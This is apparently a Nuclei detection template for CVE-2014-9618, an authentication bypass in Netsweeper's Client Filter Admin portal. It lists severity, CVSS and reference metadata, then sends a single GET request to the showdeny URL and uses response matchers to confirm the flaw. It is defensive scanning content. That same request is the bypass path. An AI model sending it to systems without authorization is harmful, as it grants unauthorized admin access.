CVE-2014-9618: Netsweeper - Authentication Bypass

id: CVE-2014-9618

info:
  name: Netsweeper - Authentication Bypass
  author: daffainfo
  severity: critical
  description: |
    The Client Filter Admin portal in Netsweeper before 3.1.10, 4.0.x before 4.0.9, and 4.1.x before 4.1.2 allows remote attackers to bypass authentication and subsequently create arbitrary profiles via a showdeny action to the default URL.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the authentication bypass vulnerability in Netsweeper.
  reference:
    - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz
    - https://nvd.nist.gov/vuln/detail/CVE-2014-9618
    - https://www.exploit-db.com/exploits/37933/
    - http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2014-9618
    cwe-id: CWE-287
    epss-score: 0.72696
    epss-percentile: 0.99417
    cpe: cpe:2.3:a:netsweeper:netsweeper:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netsweeper
    product: netsweeper
  tags: cve2014,cve,netsweeper,auth-bypass,packetstorm,edb,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/webadmin/clientlogin/?srid=&action=showdeny&url='

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'name=formtag action="../clientlogin/?srid=&action=showdeny&url="'
          - 'placeholder="Profile Manager">'
          - '<title>Netsweeper WebAdmin</title>'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009e2b8e10282cc7269c8bbb04882b9cc80059b600b40115d2d039b21081adac26022100ed4caf8574358ae691d8933fd2de2a64f7e1ce9379389d73572d26a49563dfc5:922c64590222798bb761d5b6d8e72950

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